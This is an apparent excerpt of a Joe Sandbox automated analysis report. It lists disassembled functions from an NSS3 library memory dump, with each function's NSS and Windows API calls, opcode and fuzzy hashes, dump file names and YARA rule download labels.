Opcode ID: b0ed952f561b97db2e8d97a370e666648cc3366680f83962fffb13d117748d1d
Instruction ID: b52e89c270a9baaab2cd072b25f890a082e309e01807143d30acc33ee5eb0a75
Opcode Fuzzy Hash: b0ed952f561b97db2e8d97a370e666648cc3366680f83962fffb13d117748d1d
Instruction Fuzzy Hash: C741F661B0310997EF009A95DCA0BBF3EF9EB8174DF848437CA49D7E84F3246A458796

Function 6CC1CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CC1CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CC1D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CC1D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC1D025
PR_NewLock.NSS3 ref: 6CC1D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC1D074

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 2ea1ff52852293bc4daad26dc73858de8e8f168eff520b66c75511454bbadc91
Instruction ID: 4e014a279a392ffa98905ba54df5cd4e5fc9907566b9341c8dcf4853ffe19b31
Opcode Fuzzy Hash: 2ea1ff52852293bc4daad26dc73858de8e8f168eff520b66c75511454bbadc91
Instruction Fuzzy Hash: 9641B4B0A053119FDB11DF2AC8847967BA4EF08358F118169EC1D8BF46F774D486DB91

Function 6CC58810 Relevance: 9.1, APIs: 6, Instructions: 110memorythreadCOMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,?,6CC586AA), ref: 6CC58851

Part of subcall function 6CC51340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CBF895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBEF599,?,00000000), ref: 6CC5136A
Part of subcall function 6CC51340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CBF895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBEF599,?,00000000), ref: 6CC5137E
Part of subcall function 6CC51340: PL_ArenaGrow.NSS3(?,6CBEF599,?,00000000,?,6CBF895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBEF599,?), ref: 6CC513CF
Part of subcall function 6CC51340: PR_Unlock.NSS3(?,?,6CBF895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBEF599,?,00000000), ref: 6CC5145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,6CC586AA), ref: 6CC5886C
PORT_ArenaAlloc_Util.NSS3(?,0000002C), ref: 6CC58890
PR_GetCurrentThread.NSS3 ref: 6CC5891C
PR_GetCurrentThread.NSS3 ref: 6CC58937

Part of subcall function 6CCB9BF0: TlsGetValue.KERNEL32(?,?,?,6CD00A75), ref: 6CCB9C07

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_CurrentThreadValue$CriticalEnterGrowGrow_SectionUnlock
String ID:
API String ID: 3779483720-0
Opcode ID: b834c7e702f76453e53148bae8cb85bf0a6eabe2a79564157bdb0102da3bfc1a
Instruction ID: 3644b8dae0d3ef2e52334509409b298a92d49ec7d3c3c33f2c4e76dbe73d3bd6
Opcode Fuzzy Hash: b834c7e702f76453e53148bae8cb85bf0a6eabe2a79564157bdb0102da3bfc1a
Instruction Fuzzy Hash: 9641C3B0A512029FE704CF29C890F62B7A4FF45318F40826AD8188B751FB72E974CB95

Function 6CC02E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CBF2D1A), ref: 6CC02E7E

Part of subcall function 6CC507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CBF8298,?,?,?,6CBEFCE5,?), ref: 6CC507BF
Part of subcall function 6CC507B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC507E6
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC5081B
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC50825

PR_Now.NSS3 ref: 6CC02EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CC02EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CBF2D1A), ref: 6CC02F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CBF2D1A), ref: 6CC02F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CC02F81

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: f5136cf07b51ce995bd57fc0ad63f097a3501febb4d4fcc76c55179b1a707b6a
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: C531F3717011608BF710C655CC68BAEB369EF81398F64497AD52997AD0FB33988ACA11

Function 6CBF0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CBF0A2C), ref: 6CBF0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CBF0A2C), ref: 6CBF0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CBF0A2C), ref: 6CBF0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CBF0A2C), ref: 6CBF0E90
free.MOZGLUE(00000000), ref: 6CBF0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CBF0A2C), ref: 6CBF0ED9

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 1b85ae43dd971271f214b1e0fa8dfcbbb90232bd53a7a9778f413bebfe64f73a
Instruction ID: 2813fb3c55c0710b4151e269808b1145124c2654b0b273ec7b82e1a406be0104
Opcode Fuzzy Hash: 1b85ae43dd971271f214b1e0fa8dfcbbb90232bd53a7a9778f413bebfe64f73a
Instruction Fuzzy Hash: 32212E76F012C557EB004966BC85B6B76AEDBC1748F194435D93C93B25FA60C81F82A3

Function 6CBDA9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6CCB9270), ref: 6CBDA9BF
PR_IntervalToMilliseconds.NSS3(?,?,6CCB9270), ref: 6CBDA9DE

Part of subcall function 6CBDAB40: __aulldiv.LIBCMT ref: 6CBDAB66

Part of subcall function 6CCBCA40: LeaveCriticalSection.KERNEL32(?), ref: 6CCBCAAB

LeaveCriticalSection.KERNEL32(?), ref: 6CBDAA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6CBDAA39
EnterCriticalSection.KERNEL32(?), ref: 6CBDAA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CBDAAEB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: ed8f827922c440f5fad0fd9a440e3afbf642dc8ad7b346ee71babe7c52590655
Instruction ID: 235f47273677094f25a05c6e3676ed33ee7c33afb9dea5a7763adc06bc10583a
Opcode Fuzzy Hash: ed8f827922c440f5fad0fd9a440e3afbf642dc8ad7b346ee71babe7c52590655
Instruction Fuzzy Hash: 4E41AE706047418FE7009F28C584796BBF5FB46328F2A8BADE55D8B641DB71E986CF80

Function 6CC088D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC10725,00000000,00000058), ref: 6CC08906
EnterCriticalSection.KERNEL32(?), ref: 6CC0891A
PL_ArenaAllocate.NSS3(?,?), ref: 6CC0894A
calloc.MOZGLUE(00000001,6CC1072D,00000000,00000000,00000000,?,6CC10725,00000000,00000058), ref: 6CC08959
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08993
PR_Unlock.NSS3(?), ref: 6CC089AF

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 086c4ea168991bee5483d47bf8b28321f9ed7fb61cbf775d2f1952c5d3be143b
Instruction ID: 5b18148ff507424eb73c5a3341ca6a89ae28ef6b2838cbfadcfa8e2ce5651c00
Opcode Fuzzy Hash: 086c4ea168991bee5483d47bf8b28321f9ed7fb61cbf775d2f1952c5d3be143b
Instruction Fuzzy Hash: 3831F572B005119BEB00AF29CC41E5977A8BF4571CF15C626ED589BB41F732E845CBD2

Function 6CBFAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CBFAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CBFAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBFAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CBFAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CD19500), ref: 6CBFAF23

Part of subcall function 6CC4F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CC4F0C8
Part of subcall function 6CC4F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC4F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBFAF37

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: f3b650b83025981777ecd9f72db0d2c751779e95ee41052d999701a70cecc2e7
Instruction ID: 0d5f87ac1fa5a4d18c61bfa0d2f34b0eb491ad6ab93d0f779ed302090845ca72
Opcode Fuzzy Hash: f3b650b83025981777ecd9f72db0d2c751779e95ee41052d999701a70cecc2e7
Instruction Fuzzy Hash: 3921F8B1909240ABFB108E189C41B9A7BA4EF8572CF144315EC64EF791F731D51A8BA7

Function 6CD08A50 Relevance: 9.1, APIs: 6, Instructions: 84networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6CD08A8F

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

htons.WSOCK32(?), ref: 6CD08ACB
PR_GetCurrentThread.NSS3(?), ref: 6CD08AE2
htons.WSOCK32(?), ref: 6CD08B1E
htonl.WSOCK32(7F000001,?), ref: 6CD08B3B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: htons$CurrentModulePageSizeThreadhtonl
String ID:
API String ID: 3860140138-0
Opcode ID: 781d577c5bff31f65e9e672702c9f401c43dc51ae7bfda86b25d1ff654b5c0ec
Instruction ID: e9ec98cbb4ac2b8e62ac1d64ac5f86da75e58eef1f0c4972acbc2aaa0d0bcf90
Opcode Fuzzy Hash: 781d577c5bff31f65e9e672702c9f401c43dc51ae7bfda86b25d1ff654b5c0ec
Instruction Fuzzy Hash: 16219AB0E14781DAD3208F2D8981676B2F5AF95308B219A1FE8D993E31E730A0C4C3A1

Function 6CC7EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC7EE85
realloc.MOZGLUE(C1A3ABFF,?), ref: 6CC7EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CC7EEC5

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

htonl.WSOCK32(?), ref: 6CC7EEE3
htonl.WSOCK32(00000000,?), ref: 6CC7EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CC7EF01

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 9b37eeea28443a0869fe587d0e995bb8dcbd5c7b25bed938dc6e8c1710b0cebd
Instruction ID: 5637d0e85698a9a6698aa58fa5f0a90071ee67083c908f63c1c0a19f6b958611
Opcode Fuzzy Hash: 9b37eeea28443a0869fe587d0e995bb8dcbd5c7b25bed938dc6e8c1710b0cebd
Instruction Fuzzy Hash: 0421D372A002249FDB20DF28DC80B9AB7A4EF45358F158529ED199B651E330EC14CBF6

Function 6CC2EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC2EE49

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC2EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CC2EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CC2EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC2EEB3

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: bdf95b8ef4777471a0e0987eac218233d0da7d0aab5d21c034ac5549cac41863
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 8F21A5B6A002106BEB119E69DC81EABB7A8EF45718F084168FE08AB751F775DC1487F1

Function 6CC50AA0 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

PL_HashTableDestroy.NSS3(?,?,?,6CC07F62,00000000,00000000,?,?,?,6CC080DD), ref: 6CC50AAE
PL_HashTableDestroy.NSS3(?,?,?,6CC07F62,00000000,00000000,?,?,?,6CC080DD), ref: 6CC50ACA
PL_HashTableDestroy.NSS3(?,?,?,6CC07F62,00000000,00000000,?,?,?,6CC080DD), ref: 6CC50B05
PORT_FreeArena_Util.NSS3(?,00000000,?,?,6CC07F62,00000000,00000000,?,?,?,6CC080DD), ref: 6CC50B24
free.MOZGLUE(?,?,?,6CC07F62,00000000,00000000,?,?,?,6CC080DD), ref: 6CC50B3C
memset.VCRUNTIME140(6CD524E4,00000000,000005B0,?,?,6CC07F62,00000000,00000000,?,?,?,6CC080DD), ref: 6CC50BC2

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: DestroyHashTable$Arena_FreeUtilfreememset
String ID:
API String ID: 4033302747-0
Opcode ID: f7b7853a5ed483645261998bcd425c49c7ccaeac65050e9de66d8113cc7b19b1
Instruction ID: 26e1f554682db7c0c1abf44966243a9826cb1d4d88ff1dac953c9af737c2c745
Opcode Fuzzy Hash: f7b7853a5ed483645261998bcd425c49c7ccaeac65050e9de66d8113cc7b19b1
Instruction Fuzzy Hash: 7E21F4F5B002419AFF20DF2A988DB523ABCA72625CF844429D609D6A41F735916C8B66

Function 6CC48A60 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CBF61C4,?,6CBF5F9C,00000000), ref: 6CC48A81
TlsGetValue.KERNEL32(?,?,?,6CBF5F9C,00000000), ref: 6CC48A9E
EnterCriticalSection.KERNEL32(?,?,?,?,6CBF5F9C,00000000), ref: 6CC48AB7
PR_Unlock.NSS3(?,?,?,?,?,6CBF5F9C,00000000), ref: 6CC48AD2
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CBF5F9C,00000000), ref: 6CC48B05
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,6CBF5F9C,00000000), ref: 6CC48B18

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CondNotifyValue$CriticalEnterSectionUnlock
String ID:
API String ID: 1007705821-0
Opcode ID: 0c44d06f8912eb93f3378df8bf24824871f0620ef0b852ed6858e0f065aec3bf
Instruction ID: 7834d0c26ec28060ae47754f7e8999f9a35797a132770de8db14d106985b6274
Opcode Fuzzy Hash: 0c44d06f8912eb93f3378df8bf24824871f0620ef0b852ed6858e0f065aec3bf
Instruction Fuzzy Hash: DB2108B0A047448BEB20AF79C444A69B7F4BB05758F15CA2AD995C7A41FB70E4C8CBD2

Function 6CC44820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CC44EB8,?), ref: 6CC44884

Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48821
Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC4883D
Part of subcall function 6CC48800: EnterCriticalSection.KERNEL32(?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48856
Part of subcall function 6CC48800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CC48887
Part of subcall function 6CC48800: PR_Unlock.NSS3(?,?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC44EB8,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC4484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC44EB8,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC4486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC448A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC448B8

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
